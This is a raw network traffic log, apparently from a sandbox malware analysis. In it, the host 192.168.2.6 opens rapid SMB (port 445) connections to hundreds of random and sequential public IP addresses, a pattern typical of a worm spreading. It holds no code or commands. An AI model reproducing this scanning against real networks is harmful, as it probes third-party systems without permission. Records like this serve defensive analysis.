Jul 20, 2022 06:09:39.263732910 CEST	60030	445	192.168.2.6	178.159.42.146
Jul 20, 2022 06:09:39.294460058 CEST	445	60030	178.159.42.146	192.168.2.6
Jul 20, 2022 06:09:39.401283026 CEST	60036	445	192.168.2.6	4.206.162.96
Jul 20, 2022 06:09:39.403435946 CEST	60040	445	192.168.2.6	29.241.28.12
Jul 20, 2022 06:09:39.403903008 CEST	60041	445	192.168.2.6	201.103.210.158
Jul 20, 2022 06:09:39.404371977 CEST	60042	445	192.168.2.6	161.129.242.63
Jul 20, 2022 06:09:39.407538891 CEST	60049	445	192.168.2.6	130.142.250.189
Jul 20, 2022 06:09:39.411016941 CEST	60055	445	192.168.2.6	94.199.89.95
Jul 20, 2022 06:09:39.411475897 CEST	60056	445	192.168.2.6	137.3.159.139
Jul 20, 2022 06:09:39.412377119 CEST	60058	445	192.168.2.6	27.250.244.77
Jul 20, 2022 06:09:39.416220903 CEST	60065	445	192.168.2.6	42.149.223.226
Jul 20, 2022 06:09:39.424602032 CEST	60078	445	192.168.2.6	173.186.229.228
Jul 20, 2022 06:09:39.425249100 CEST	60079	445	192.168.2.6	195.190.225.228
Jul 20, 2022 06:09:39.437248945 CEST	60080	445	192.168.2.6	133.7.253.228
Jul 20, 2022 06:09:39.463840961 CEST	60085	445	192.168.2.6	5.62.55.10
Jul 20, 2022 06:09:39.463917017 CEST	60084	445	192.168.2.6	21.214.163.85
Jul 20, 2022 06:09:39.464072943 CEST	60089	445	192.168.2.6	176.184.105.145
Jul 20, 2022 06:09:39.464442968 CEST	60098	445	192.168.2.6	156.147.211.232
Jul 20, 2022 06:09:39.464525938 CEST	60099	445	192.168.2.6	7.189.191.194
Jul 20, 2022 06:09:39.464589119 CEST	60100	445	192.168.2.6	194.32.35.251
Jul 20, 2022 06:09:39.464797020 CEST	60104	445	192.168.2.6	65.211.195.80
Jul 20, 2022 06:09:39.464798927 CEST	60102	445	192.168.2.6	177.252.109.213
Jul 20, 2022 06:09:39.601910114 CEST	59130	445	192.168.2.6	186.65.200.170
Jul 20, 2022 06:09:39.695729017 CEST	59588	445	192.168.2.6	128.110.36.3
Jul 20, 2022 06:09:39.732434034 CEST	60108	445	192.168.2.6	107.186.37.26
Jul 20, 2022 06:09:39.805067062 CEST	60030	445	192.168.2.6	178.159.42.146
Jul 20, 2022 06:09:39.835017920 CEST	445	60030	178.159.42.146	192.168.2.6
Jul 20, 2022 06:09:39.901891947 CEST	445	60108	107.186.37.26	192.168.2.6
Jul 20, 2022 06:09:39.902086973 CEST	60108	445	192.168.2.6	107.186.37.26
Jul 20, 2022 06:09:39.902277946 CEST	60108	445	192.168.2.6	107.186.37.26
Jul 20, 2022 06:09:39.945710897 CEST	59707	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:39.945724010 CEST	59705	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:39.961287022 CEST	59174	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:09:40.071202040 CEST	445	60108	107.186.37.26	192.168.2.6
Jul 20, 2022 06:09:40.071424007 CEST	60108	445	192.168.2.6	107.186.37.26
Jul 20, 2022 06:09:40.240593910 CEST	445	60108	107.186.37.26	192.168.2.6
Jul 20, 2022 06:09:40.240842104 CEST	60108	445	192.168.2.6	107.186.37.26
Jul 20, 2022 06:09:40.275218010 CEST	60119	445	192.168.2.6	176.241.42.124
Jul 20, 2022 06:09:40.275680065 CEST	60120	445	192.168.2.6	37.21.160.151
Jul 20, 2022 06:09:40.320729017 CEST	59213	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:09:40.337270975 CEST	60121	445	192.168.2.6	178.159.42.147
Jul 20, 2022 06:09:40.388967037 CEST	60126	445	192.168.2.6	13.161.79.100
Jul 20, 2022 06:09:40.389080048 CEST	60130	445	192.168.2.6	68.173.27.112
Jul 20, 2022 06:09:40.409892082 CEST	445	60108	107.186.37.26	192.168.2.6
Jul 20, 2022 06:09:40.463213921 CEST	60133	445	192.168.2.6	107.186.37.27
Jul 20, 2022 06:09:40.509980917 CEST	60138	445	192.168.2.6	1.64.210.39
Jul 20, 2022 06:09:40.513289928 CEST	60143	445	192.168.2.6	88.181.76.254
Jul 20, 2022 06:09:40.513991117 CEST	60144	445	192.168.2.6	29.245.198.60
Jul 20, 2022 06:09:40.514681101 CEST	60145	445	192.168.2.6	45.191.244.151
Jul 20, 2022 06:09:40.541270971 CEST	60151	445	192.168.2.6	27.198.138.163
Jul 20, 2022 06:09:40.541587114 CEST	60157	445	192.168.2.6	33.144.9.3
Jul 20, 2022 06:09:40.541673899 CEST	60158	445	192.168.2.6	125.213.91.152
Jul 20, 2022 06:09:40.541850090 CEST	60160	445	192.168.2.6	223.107.237.146
Jul 20, 2022 06:09:40.542021990 CEST	60166	445	192.168.2.6	64.2.251.126
Jul 20, 2022 06:09:40.542076111 CEST	60167	445	192.168.2.6	46.134.184.190
Jul 20, 2022 06:09:40.542587996 CEST	60181	445	192.168.2.6	179.217.122.64
Jul 20, 2022 06:09:40.545847893 CEST	60183	445	192.168.2.6	14.215.228.52
Jul 20, 2022 06:09:40.573386908 CEST	60186	445	192.168.2.6	158.207.184.8
Jul 20, 2022 06:09:40.577316999 CEST	60193	445	192.168.2.6	111.25.253.83
Jul 20, 2022 06:09:40.578294992 CEST	60195	445	192.168.2.6	77.71.151.50
Jul 20, 2022 06:09:40.578758001 CEST	60196	445	192.168.2.6	169.209.203.27
Jul 20, 2022 06:09:40.579677105 CEST	60198	445	192.168.2.6	49.81.245.82
Jul 20, 2022 06:09:40.589433908 CEST	60200	445	192.168.2.6	179.47.186.39
Jul 20, 2022 06:09:40.589665890 CEST	60206	445	192.168.2.6	107.113.4.23
Jul 20, 2022 06:09:40.589726925 CEST	60207	445	192.168.2.6	58.168.155.220
Jul 20, 2022 06:09:40.631335020 CEST	445	60133	107.186.37.27	192.168.2.6
Jul 20, 2022 06:09:40.631437063 CEST	60133	445	192.168.2.6	107.186.37.27
Jul 20, 2022 06:09:40.631483078 CEST	60133	445	192.168.2.6	107.186.37.27
Jul 20, 2022 06:09:40.633671999 CEST	60210	445	192.168.2.6	107.186.37.27
Jul 20, 2022 06:09:40.799784899 CEST	445	60133	107.186.37.27	192.168.2.6
Jul 20, 2022 06:09:40.799812078 CEST	445	60133	107.186.37.27	192.168.2.6
Jul 20, 2022 06:09:40.802798986 CEST	445	60210	107.186.37.27	192.168.2.6
Jul 20, 2022 06:09:40.802912951 CEST	60210	445	192.168.2.6	107.186.37.27
Jul 20, 2022 06:09:40.803179026 CEST	60210	445	192.168.2.6	107.186.37.27
Jul 20, 2022 06:09:40.974603891 CEST	445	60210	107.186.37.27	192.168.2.6
Jul 20, 2022 06:09:40.974797010 CEST	60210	445	192.168.2.6	107.186.37.27
Jul 20, 2022 06:09:41.144066095 CEST	445	60210	107.186.37.27	192.168.2.6
Jul 20, 2022 06:09:41.144264936 CEST	60210	445	192.168.2.6	107.186.37.27
Jul 20, 2022 06:09:41.273916006 CEST	59554	445	192.168.2.6	128.110.36.3
Jul 20, 2022 06:09:41.316816092 CEST	445	60210	107.186.37.27	192.168.2.6
Jul 20, 2022 06:09:41.371622086 CEST	60222	445	192.168.2.6	176.241.42.125
Jul 20, 2022 06:09:41.372840881 CEST	60223	445	192.168.2.6	37.21.160.152
Jul 20, 2022 06:09:41.417190075 CEST	60224	445	192.168.2.6	178.159.42.148
Jul 20, 2022 06:09:41.445017099 CEST	445	60224	178.159.42.148	192.168.2.6
Jul 20, 2022 06:09:41.511707067 CEST	60228	445	192.168.2.6	144.179.206.92
Jul 20, 2022 06:09:41.511814117 CEST	60233	445	192.168.2.6	166.39.95.24
Jul 20, 2022 06:09:41.636883974 CEST	60242	445	192.168.2.6	141.70.167.124
Jul 20, 2022 06:09:41.640610933 CEST	60247	445	192.168.2.6	140.46.193.185
Jul 20, 2022 06:09:41.640678883 CEST	60249	445	192.168.2.6	169.231.148.132
Jul 20, 2022 06:09:41.640748024 CEST	60250	445	192.168.2.6	202.4.101.70
Jul 20, 2022 06:09:41.665868044 CEST	60251	445	192.168.2.6	44.126.58.87
Jul 20, 2022 06:09:41.667167902 CEST	60253	445	192.168.2.6	211.175.148.73
Jul 20, 2022 06:09:41.676459074 CEST	60267	445	192.168.2.6	83.114.164.194
Jul 20, 2022 06:09:41.677192926 CEST	60268	445	192.168.2.6	56.86.206.21
Jul 20, 2022 06:09:41.680154085 CEST	60274	445	192.168.2.6	136.202.180.100
Jul 20, 2022 06:09:41.681490898 CEST	60276	445	192.168.2.6	79.30.97.180
Jul 20, 2022 06:09:41.681912899 CEST	60277	445	192.168.2.6	6.155.214.165
Jul 20, 2022 06:09:41.686877966 CEST	60283	445	192.168.2.6	44.68.143.197
Jul 20, 2022 06:09:41.697813988 CEST	60288	445	192.168.2.6	61.184.127.12
Jul 20, 2022 06:09:41.701117992 CEST	60295	445	192.168.2.6	212.53.214.151
Jul 20, 2022 06:09:41.703258991 CEST	60297	445	192.168.2.6	65.160.128.170
Jul 20, 2022 06:09:41.704519987 CEST	60298	445	192.168.2.6	170.238.92.166
Jul 20, 2022 06:09:41.706453085 CEST	60300	445	192.168.2.6	134.66.6.14
Jul 20, 2022 06:09:41.727606058 CEST	60302	445	192.168.2.6	19.237.184.115
Jul 20, 2022 06:09:41.729439020 CEST	60308	445	192.168.2.6	107.115.170.200
Jul 20, 2022 06:09:41.731992960 CEST	60309	445	192.168.2.6	222.42.164.9
Jul 20, 2022 06:09:41.945908070 CEST	60224	445	192.168.2.6	178.159.42.148
Jul 20, 2022 06:09:41.975073099 CEST	445	60224	178.159.42.148	192.168.2.6
Jul 20, 2022 06:09:42.431262016 CEST	60317	445	192.168.2.6	176.241.42.126
Jul 20, 2022 06:09:42.431421041 CEST	60318	445	192.168.2.6	37.21.160.153
Jul 20, 2022 06:09:42.477834940 CEST	60326	445	192.168.2.6	178.159.42.149
Jul 20, 2022 06:09:42.619112968 CEST	60327	445	192.168.2.6	7.146.77.180
Jul 20, 2022 06:09:42.621371031 CEST	60330	445	192.168.2.6	9.44.38.254
Jul 20, 2022 06:09:42.711632967 CEST	59588	445	192.168.2.6	128.110.36.3
Jul 20, 2022 06:09:42.745202065 CEST	60339	445	192.168.2.6	47.37.160.18
Jul 20, 2022 06:09:42.751526117 CEST	60345	445	192.168.2.6	142.141.65.106
Jul 20, 2022 06:09:42.756370068 CEST	60350	445	192.168.2.6	18.39.153.252
Jul 20, 2022 06:09:42.758163929 CEST	60352	445	192.168.2.6	104.67.168.58
Jul 20, 2022 06:09:42.823715925 CEST	60354	445	192.168.2.6	91.28.25.84
Jul 20, 2022 06:09:42.826165915 CEST	60356	445	192.168.2.6	30.101.57.19
Jul 20, 2022 06:09:42.826323032 CEST	60359	445	192.168.2.6	103.108.156.97
Jul 20, 2022 06:09:42.826560020 CEST	60367	445	192.168.2.6	57.19.225.210
Jul 20, 2022 06:09:42.826565027 CEST	60360	445	192.168.2.6	201.70.197.118
Jul 20, 2022 06:09:42.826647043 CEST	60370	445	192.168.2.6	208.11.127.198
Jul 20, 2022 06:09:42.826683044 CEST	60371	445	192.168.2.6	52.206.45.99
Jul 20, 2022 06:09:42.826765060 CEST	60373	445	192.168.2.6	194.132.48.194
Jul 20, 2022 06:09:42.826951981 CEST	60380	445	192.168.2.6	163.191.136.136
Jul 20, 2022 06:09:42.827261925 CEST	60390	445	192.168.2.6	8.80.136.42
Jul 20, 2022 06:09:42.827316999 CEST	60392	445	192.168.2.6	148.132.61.63
Jul 20, 2022 06:09:42.827545881 CEST	60400	445	192.168.2.6	78.164.128.173
Jul 20, 2022 06:09:42.827578068 CEST	60401	445	192.168.2.6	15.147.82.18
Jul 20, 2022 06:09:42.857208014 CEST	60406	445	192.168.2.6	92.0.236.108
Jul 20, 2022 06:09:42.858527899 CEST	60407	445	192.168.2.6	18.146.84.250
Jul 20, 2022 06:09:42.858686924 CEST	60413	445	192.168.2.6	57.63.63.126
Jul 20, 2022 06:09:42.952462912 CEST	445	60380	163.191.136.136	192.168.2.6
Jul 20, 2022 06:09:42.952616930 CEST	60380	445	192.168.2.6	163.191.136.136
Jul 20, 2022 06:09:42.952663898 CEST	60380	445	192.168.2.6	163.191.136.136
Jul 20, 2022 06:09:42.953389883 CEST	60415	445	192.168.2.6	163.191.136.1
Jul 20, 2022 06:09:43.080626011 CEST	445	60415	163.191.136.1	192.168.2.6
Jul 20, 2022 06:09:43.080765009 CEST	60415	445	192.168.2.6	163.191.136.1
Jul 20, 2022 06:09:43.080825090 CEST	60415	445	192.168.2.6	163.191.136.1
Jul 20, 2022 06:09:43.083646059 CEST	60416	445	192.168.2.6	163.191.136.1
Jul 20, 2022 06:09:43.214821100 CEST	445	60416	163.191.136.1	192.168.2.6
Jul 20, 2022 06:09:43.214965105 CEST	60416	445	192.168.2.6	163.191.136.1
Jul 20, 2022 06:09:43.215217113 CEST	60416	445	192.168.2.6	163.191.136.1
Jul 20, 2022 06:09:43.383486986 CEST	60380	445	192.168.2.6	163.191.136.136
Jul 20, 2022 06:09:43.515594006 CEST	60419	445	192.168.2.6	37.21.160.154
Jul 20, 2022 06:09:43.516331911 CEST	60420	445	192.168.2.6	176.241.42.127
Jul 20, 2022 06:09:43.524104118 CEST	60415	445	192.168.2.6	163.191.136.1
Jul 20, 2022 06:09:43.569087029 CEST	445	60420	176.241.42.127	192.168.2.6
Jul 20, 2022 06:09:43.583054066 CEST	60421	445	192.168.2.6	178.159.42.150
Jul 20, 2022 06:09:43.617871046 CEST	60416	445	192.168.2.6	163.191.136.1
Jul 20, 2022 06:09:43.765546083 CEST	60432	445	192.168.2.6	9.243.215.213
Jul 20, 2022 06:09:43.765625000 CEST	60434	445	192.168.2.6	185.17.104.47
Jul 20, 2022 06:09:43.878290892 CEST	60442	445	192.168.2.6	118.144.99.27
Jul 20, 2022 06:09:43.879863977 CEST	60449	445	192.168.2.6	177.155.78.110
Jul 20, 2022 06:09:43.880093098 CEST	60454	445	192.168.2.6	201.100.251.83
Jul 20, 2022 06:09:43.880196095 CEST	60456	445	192.168.2.6	89.21.17.225
Jul 20, 2022 06:09:43.981893063 CEST	60460	445	192.168.2.6	39.157.14.138
Jul 20, 2022 06:09:43.991087914 CEST	60467	445	192.168.2.6	27.210.150.246
Jul 20, 2022 06:09:43.991233110 CEST	60470	445	192.168.2.6	8.254.171.162
Jul 20, 2022 06:09:43.992224932 CEST	60485	445	192.168.2.6	87.247.42.138
Jul 20, 2022 06:09:43.992500067 CEST	60488	445	192.168.2.6	179.176.143.103
Jul 20, 2022 06:09:43.992594004 CEST	60490	445	192.168.2.6	90.221.30.11
Jul 20, 2022 06:09:43.992703915 CEST	60492	445	192.168.2.6	167.95.198.65
Jul 20, 2022 06:09:43.993421078 CEST	60499	445	192.168.2.6	52.171.206.89
Jul 20, 2022 06:09:43.993541002 CEST	60501	445	192.168.2.6	71.65.57.113
Jul 20, 2022 06:09:43.993607998 CEST	60502	445	192.168.2.6	160.102.119.0
Jul 20, 2022 06:09:43.993813992 CEST	60504	445	192.168.2.6	110.203.16.13
Jul 20, 2022 06:09:43.993906021 CEST	60506	445	192.168.2.6	181.38.121.62
Jul 20, 2022 06:09:44.071032047 CEST	60420	445	192.168.2.6	176.241.42.127
Jul 20, 2022 06:09:44.071049929 CEST	60416	445	192.168.2.6	163.191.136.1
Jul 20, 2022 06:09:44.081631899 CEST	60511	445	192.168.2.6	82.86.166.150
Jul 20, 2022 06:09:44.081662893 CEST	60513	445	192.168.2.6	79.56.94.24
Jul 20, 2022 06:09:44.081763029 CEST	60515	445	192.168.2.6	51.143.9.240
Jul 20, 2022 06:09:44.140429020 CEST	445	60420	176.241.42.127	192.168.2.6
Jul 20, 2022 06:09:44.159367085 CEST	445	60501	71.65.57.113	192.168.2.6
Jul 20, 2022 06:09:44.164825916 CEST	60380	445	192.168.2.6	163.191.136.136
Jul 20, 2022 06:09:44.321054935 CEST	60415	445	192.168.2.6	163.191.136.1
Jul 20, 2022 06:09:44.321882010 CEST	60519	445	192.168.2.6	107.186.37.27
Jul 20, 2022 06:09:44.492503881 CEST	445	60519	107.186.37.27	192.168.2.6
Jul 20, 2022 06:09:44.492630005 CEST	60519	445	192.168.2.6	107.186.37.27
Jul 20, 2022 06:09:44.492822886 CEST	60519	445	192.168.2.6	107.186.37.27
Jul 20, 2022 06:09:44.572144985 CEST	60522	445	192.168.2.6	176.241.42.128
Jul 20, 2022 06:09:44.573070049 CEST	60523	445	192.168.2.6	37.21.160.155
Jul 20, 2022 06:09:44.644527912 CEST	60524	445	192.168.2.6	178.159.42.151
Jul 20, 2022 06:09:44.664843082 CEST	60501	445	192.168.2.6	71.65.57.113
Jul 20, 2022 06:09:44.667187929 CEST	445	60519	107.186.37.27	192.168.2.6
Jul 20, 2022 06:09:44.667362928 CEST	60519	445	192.168.2.6	107.186.37.27
Jul 20, 2022 06:09:44.676223040 CEST	445	60524	178.159.42.151	192.168.2.6
Jul 20, 2022 06:09:44.758593082 CEST	59705	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:44.758625984 CEST	59707	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:44.833894014 CEST	445	60501	71.65.57.113	192.168.2.6
Jul 20, 2022 06:09:44.853132010 CEST	445	60519	107.186.37.27	192.168.2.6
Jul 20, 2022 06:09:44.862927914 CEST	60519	445	192.168.2.6	107.186.37.27
Jul 20, 2022 06:09:44.883661985 CEST	60416	445	192.168.2.6	163.191.136.1
Jul 20, 2022 06:09:44.902597904 CEST	60536	445	192.168.2.6	74.117.215.37
Jul 20, 2022 06:09:44.902739048 CEST	60540	445	192.168.2.6	51.83.204.233
Jul 20, 2022 06:09:44.968626022 CEST	445	60540	51.83.204.233	192.168.2.6
Jul 20, 2022 06:09:44.968741894 CEST	60540	445	192.168.2.6	51.83.204.233
Jul 20, 2022 06:09:44.974581957 CEST	60540	445	192.168.2.6	51.83.204.233
Jul 20, 2022 06:09:44.974610090 CEST	60545	445	192.168.2.6	51.83.204.1
Jul 20, 2022 06:09:44.999110937 CEST	60546	445	192.168.2.6	107.59.224.105
Jul 20, 2022 06:09:44.999464989 CEST	60552	445	192.168.2.6	49.36.157.52
Jul 20, 2022 06:09:44.999609947 CEST	60556	445	192.168.2.6	68.28.53.245
Jul 20, 2022 06:09:44.999701977 CEST	60553	445	192.168.2.6	162.238.164.154
Jul 20, 2022 06:09:45.006681919 CEST	445	60540	51.83.204.233	192.168.2.6
Jul 20, 2022 06:09:45.006808996 CEST	60540	445	192.168.2.6	51.83.204.233
Jul 20, 2022 06:09:45.032004118 CEST	445	60519	107.186.37.27	192.168.2.6
Jul 20, 2022 06:09:45.090810061 CEST	60564	445	192.168.2.6	107.186.37.28
Jul 20, 2022 06:09:45.117156029 CEST	60571	445	192.168.2.6	108.106.169.4
Jul 20, 2022 06:09:45.117160082 CEST	60572	445	192.168.2.6	208.28.149.113
Jul 20, 2022 06:09:45.117604017 CEST	60589	445	192.168.2.6	101.141.22.14
Jul 20, 2022 06:09:45.117697001 CEST	60593	445	192.168.2.6	152.234.172.40
Jul 20, 2022 06:09:45.117710114 CEST	60594	445	192.168.2.6	38.0.92.182
Jul 20, 2022 06:09:45.117836952 CEST	60596	445	192.168.2.6	195.129.16.93
Jul 20, 2022 06:09:45.118211985 CEST	60602	445	192.168.2.6	87.156.124.145
Jul 20, 2022 06:09:45.118299961 CEST	60604	445	192.168.2.6	75.10.225.193
Jul 20, 2022 06:09:45.118439913 CEST	60607	445	192.168.2.6	30.82.240.151
Jul 20, 2022 06:09:45.118505955 CEST	60608	445	192.168.2.6	178.67.77.14
Jul 20, 2022 06:09:45.180522919 CEST	60524	445	192.168.2.6	178.159.42.151
Jul 20, 2022 06:09:45.199430943 CEST	60609	445	192.168.2.6	95.65.141.195
Jul 20, 2022 06:09:45.203438044 CEST	60611	445	192.168.2.6	140.63.141.112
Jul 20, 2022 06:09:45.204026937 CEST	60616	445	192.168.2.6	9.176.189.171
Jul 20, 2022 06:09:45.204060078 CEST	60617	445	192.168.2.6	190.193.236.12
Jul 20, 2022 06:09:45.204201937 CEST	60621	445	192.168.2.6	86.11.119.94
Jul 20, 2022 06:09:45.212579966 CEST	445	60524	178.159.42.151	192.168.2.6
Jul 20, 2022 06:09:45.261878014 CEST	445	60564	107.186.37.28	192.168.2.6
Jul 20, 2022 06:09:45.262175083 CEST	60564	445	192.168.2.6	107.186.37.28
Jul 20, 2022 06:09:45.262546062 CEST	60564	445	192.168.2.6	107.186.37.28
Jul 20, 2022 06:09:45.287919998 CEST	60623	445	192.168.2.6	107.186.37.28
Jul 20, 2022 06:09:45.433204889 CEST	445	60564	107.186.37.28	192.168.2.6
Jul 20, 2022 06:09:45.433237076 CEST	445	60564	107.186.37.28	192.168.2.6
Jul 20, 2022 06:09:45.458525896 CEST	445	60623	107.186.37.28	192.168.2.6
Jul 20, 2022 06:09:45.458671093 CEST	60623	445	192.168.2.6	107.186.37.28
Jul 20, 2022 06:09:45.459127903 CEST	60623	445	192.168.2.6	107.186.37.28
Jul 20, 2022 06:09:45.629987955 CEST	445	60623	107.186.37.28	192.168.2.6
Jul 20, 2022 06:09:45.642779112 CEST	60623	445	192.168.2.6	107.186.37.28
Jul 20, 2022 06:09:45.657519102 CEST	60627	445	192.168.2.6	176.241.42.129
Jul 20, 2022 06:09:45.658191919 CEST	60628	445	192.168.2.6	37.21.160.156
Jul 20, 2022 06:09:45.697030067 CEST	60629	445	192.168.2.6	178.159.42.152
Jul 20, 2022 06:09:45.710776091 CEST	445	60627	176.241.42.129	192.168.2.6
Jul 20, 2022 06:09:45.711828947 CEST	60380	445	192.168.2.6	163.191.136.136
Jul 20, 2022 06:09:45.813636065 CEST	445	60623	107.186.37.28	192.168.2.6
Jul 20, 2022 06:09:45.816557884 CEST	60623	445	192.168.2.6	107.186.37.28
Jul 20, 2022 06:09:45.899379969 CEST	60415	445	192.168.2.6	163.191.136.1
Jul 20, 2022 06:09:45.991998911 CEST	445	60623	107.186.37.28	192.168.2.6
Jul 20, 2022 06:09:46.042043924 CEST	60644	445	192.168.2.6	105.138.24.123
Jul 20, 2022 06:09:46.043096066 CEST	60649	445	192.168.2.6	51.83.204.2
Jul 20, 2022 06:09:46.077920914 CEST	445	60380	163.191.136.136	192.168.2.6
Jul 20, 2022 06:09:46.103431940 CEST	60650	445	192.168.2.6	37.97.169.88
Jul 20, 2022 06:09:46.118614912 CEST	60655	445	192.168.2.6	69.209.238.163
Jul 20, 2022 06:09:46.118855000 CEST	60659	445	192.168.2.6	104.82.195.10
Jul 20, 2022 06:09:46.119139910 CEST	60663	445	192.168.2.6	51.33.185.9
Jul 20, 2022 06:09:46.207412958 CEST	445	60415	163.191.136.1	192.168.2.6
Jul 20, 2022 06:09:46.211901903 CEST	60627	445	192.168.2.6	176.241.42.129
Jul 20, 2022 06:09:46.243887901 CEST	60669	445	192.168.2.6	154.162.167.41
Jul 20, 2022 06:09:46.245203972 CEST	60671	445	192.168.2.6	120.157.17.48
Jul 20, 2022 06:09:46.249315977 CEST	60677	445	192.168.2.6	199.233.243.146
Jul 20, 2022 06:09:46.250025034 CEST	60678	445	192.168.2.6	147.253.49.234
Jul 20, 2022 06:09:46.252407074 CEST	60682	445	192.168.2.6	153.221.124.150
Jul 20, 2022 06:09:46.253017902 CEST	60683	445	192.168.2.6	26.86.104.62
Jul 20, 2022 06:09:46.256011009 CEST	60688	445	192.168.2.6	80.182.96.171
Jul 20, 2022 06:09:46.258121967 CEST	60691	445	192.168.2.6	102.74.146.13
Jul 20, 2022 06:09:46.259232998 CEST	60692	445	192.168.2.6	216.209.81.222
Jul 20, 2022 06:09:46.261176109 CEST	60695	445	192.168.2.6	124.131.74.200
Jul 20, 2022 06:09:46.264810085 CEST	445	60627	176.241.42.129	192.168.2.6
Jul 20, 2022 06:09:46.323422909 CEST	60714	445	192.168.2.6	36.132.244.146
Jul 20, 2022 06:09:46.325216055 CEST	60716	445	192.168.2.6	9.69.230.171
Jul 20, 2022 06:09:46.328635931 CEST	60720	445	192.168.2.6	92.99.64.95
Jul 20, 2022 06:09:46.328705072 CEST	60722	445	192.168.2.6	84.120.169.91
Jul 20, 2022 06:09:46.328844070 CEST	60725	445	192.168.2.6	71.170.247.233
Jul 20, 2022 06:09:46.345115900 CEST	445	60416	163.191.136.1	192.168.2.6
Jul 20, 2022 06:09:46.728621960 CEST	60730	445	192.168.2.6	37.21.160.157
Jul 20, 2022 06:09:46.729384899 CEST	60731	445	192.168.2.6	176.241.42.130
Jul 20, 2022 06:09:46.760035992 CEST	60732	445	192.168.2.6	178.159.42.153
Jul 20, 2022 06:09:46.779484034 CEST	445	60731	176.241.42.130	192.168.2.6
Jul 20, 2022 06:09:47.107573986 CEST	60742	445	192.168.2.6	51.83.204.3
Jul 20, 2022 06:09:47.186815977 CEST	60747	445	192.168.2.6	114.166.60.202
Jul 20, 2022 06:09:47.223030090 CEST	60753	445	192.168.2.6	71.126.74.215
Jul 20, 2022 06:09:47.228832960 CEST	60755	445	192.168.2.6	36.233.207.117
Jul 20, 2022 06:09:47.235218048 CEST	60760	445	192.168.2.6	181.231.147.25
Jul 20, 2022 06:09:47.235497952 CEST	60764	445	192.168.2.6	144.192.22.33
Jul 20, 2022 06:09:47.290111065 CEST	60731	445	192.168.2.6	176.241.42.130
Jul 20, 2022 06:09:47.341531992 CEST	445	60731	176.241.42.130	192.168.2.6
Jul 20, 2022 06:09:47.366610050 CEST	60772	445	192.168.2.6	88.66.52.6
Jul 20, 2022 06:09:47.367085934 CEST	60775	445	192.168.2.6	82.107.217.4
Jul 20, 2022 06:09:47.367291927 CEST	60780	445	192.168.2.6	193.161.82.170
Jul 20, 2022 06:09:47.367377996 CEST	60781	445	192.168.2.6	100.246.83.198
Jul 20, 2022 06:09:47.367465973 CEST	60785	445	192.168.2.6	92.32.173.112
Jul 20, 2022 06:09:47.367491961 CEST	60786	445	192.168.2.6	179.190.131.24
Jul 20, 2022 06:09:47.367685080 CEST	60791	445	192.168.2.6	135.118.237.60
Jul 20, 2022 06:09:47.367753029 CEST	60794	445	192.168.2.6	124.248.152.208
Jul 20, 2022 06:09:47.378072023 CEST	60811	445	192.168.2.6	198.57.83.24
Jul 20, 2022 06:09:47.378082037 CEST	60814	445	192.168.2.6	92.150.74.212
Jul 20, 2022 06:09:47.433810949 CEST	60817	445	192.168.2.6	185.61.56.7
Jul 20, 2022 06:09:47.437597036 CEST	60819	445	192.168.2.6	124.189.38.214
Jul 20, 2022 06:09:47.441134930 CEST	60824	445	192.168.2.6	209.132.130.147
Jul 20, 2022 06:09:47.442442894 CEST	60826	445	192.168.2.6	112.27.44.40
Jul 20, 2022 06:09:47.443702936 CEST	60828	445	192.168.2.6	158.76.238.156
Jul 20, 2022 06:09:47.495398045 CEST	445	60755	36.233.207.117	192.168.2.6
Jul 20, 2022 06:09:47.776144028 CEST	60831	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:47.805623055 CEST	60833	445	192.168.2.6	37.21.160.158
Jul 20, 2022 06:09:47.805675030 CEST	60834	445	192.168.2.6	176.241.42.131
Jul 20, 2022 06:09:47.813704014 CEST	445	60831	134.220.131.4	192.168.2.6
Jul 20, 2022 06:09:47.813869953 CEST	60831	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:47.837982893 CEST	60836	445	192.168.2.6	178.159.42.154
Jul 20, 2022 06:09:48.008980036 CEST	60755	445	192.168.2.6	36.233.207.117
Jul 20, 2022 06:09:48.118405104 CEST	60831	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:48.187057972 CEST	60846	445	192.168.2.6	51.83.204.4
Jul 20, 2022 06:09:48.272959948 CEST	445	60755	36.233.207.117	192.168.2.6
Jul 20, 2022 06:09:48.331511974 CEST	60853	445	192.168.2.6	194.107.151.47
Jul 20, 2022 06:09:48.342962027 CEST	60861	445	192.168.2.6	223.162.246.34
Jul 20, 2022 06:09:48.343029976 CEST	60863	445	192.168.2.6	209.208.100.239
Jul 20, 2022 06:09:48.371834993 CEST	60864	445	192.168.2.6	120.82.237.240
Jul 20, 2022 06:09:48.374684095 CEST	60868	445	192.168.2.6	98.132.252.0
Jul 20, 2022 06:09:48.383915901 CEST	60831	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:48.465070963 CEST	60876	445	192.168.2.6	44.216.149.203
Jul 20, 2022 06:09:48.479593992 CEST	60880	445	192.168.2.6	129.229.132.232
Jul 20, 2022 06:09:48.501338005 CEST	60885	445	192.168.2.6	77.121.245.47
Jul 20, 2022 06:09:48.501454115 CEST	60886	445	192.168.2.6	168.127.70.80
Jul 20, 2022 06:09:48.501558065 CEST	60889	445	192.168.2.6	120.146.230.27
Jul 20, 2022 06:09:48.501792908 CEST	60897	445	192.168.2.6	80.102.207.149
Jul 20, 2022 06:09:48.501878977 CEST	60899	445	192.168.2.6	126.51.103.166
Jul 20, 2022 06:09:48.502677917 CEST	60918	445	192.168.2.6	131.89.250.46
Jul 20, 2022 06:09:48.502753019 CEST	60919	445	192.168.2.6	170.68.150.206
Jul 20, 2022 06:09:48.547141075 CEST	60922	445	192.168.2.6	184.186.185.222
Jul 20, 2022 06:09:48.547171116 CEST	60924	445	192.168.2.6	208.103.105.43
Jul 20, 2022 06:09:48.547382116 CEST	60929	445	192.168.2.6	83.171.106.117
Jul 20, 2022 06:09:48.547432899 CEST	60931	445	192.168.2.6	86.116.149.124
Jul 20, 2022 06:09:48.547499895 CEST	60933	445	192.168.2.6	179.45.175.0
Jul 20, 2022 06:09:48.712100983 CEST	59588	445	192.168.2.6	128.110.36.3
Jul 20, 2022 06:09:48.727714062 CEST	59554	445	192.168.2.6	128.110.36.3
